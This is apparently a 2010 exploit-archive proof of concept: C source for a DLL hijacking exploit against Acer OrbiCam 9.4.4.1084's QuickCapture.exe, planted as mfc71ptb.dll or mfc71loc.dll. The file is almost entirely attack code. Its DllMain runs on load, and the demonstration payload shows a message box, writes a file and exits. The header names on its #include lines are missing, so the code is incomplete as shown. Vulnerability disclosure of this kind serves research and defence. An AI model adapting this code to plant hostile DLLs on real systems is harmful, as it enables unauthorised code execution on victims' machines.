/* * * Acer OrbiCam 9.4.4.1084 DLL Hijacking Exploit (mfc71ptb.dll and mfc71loc.dll) * * Author: Fernando Mengali * * Contact e-mail: fernando.mengalli@gmail.com * * Date: 18-10-2010 * * Operating System: Windows XP (Version 5.1 Service Pack 3) * * Name Application: QuickCapture.exe * * Software Acer Orbicam 9.4.4.1084 * * Name DLL: mfc71ptb.dll and mfc71loc.dll * * */ #include #include int teste() { MessageBox(0, "Test", "and Test", MB_OK); FILE *fp; fp = fopen("teste.txt", "w"); fwrite("it works ;-)", 1, 12, fp); fclose(fp); exit(1); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { teste(); return TRUE; }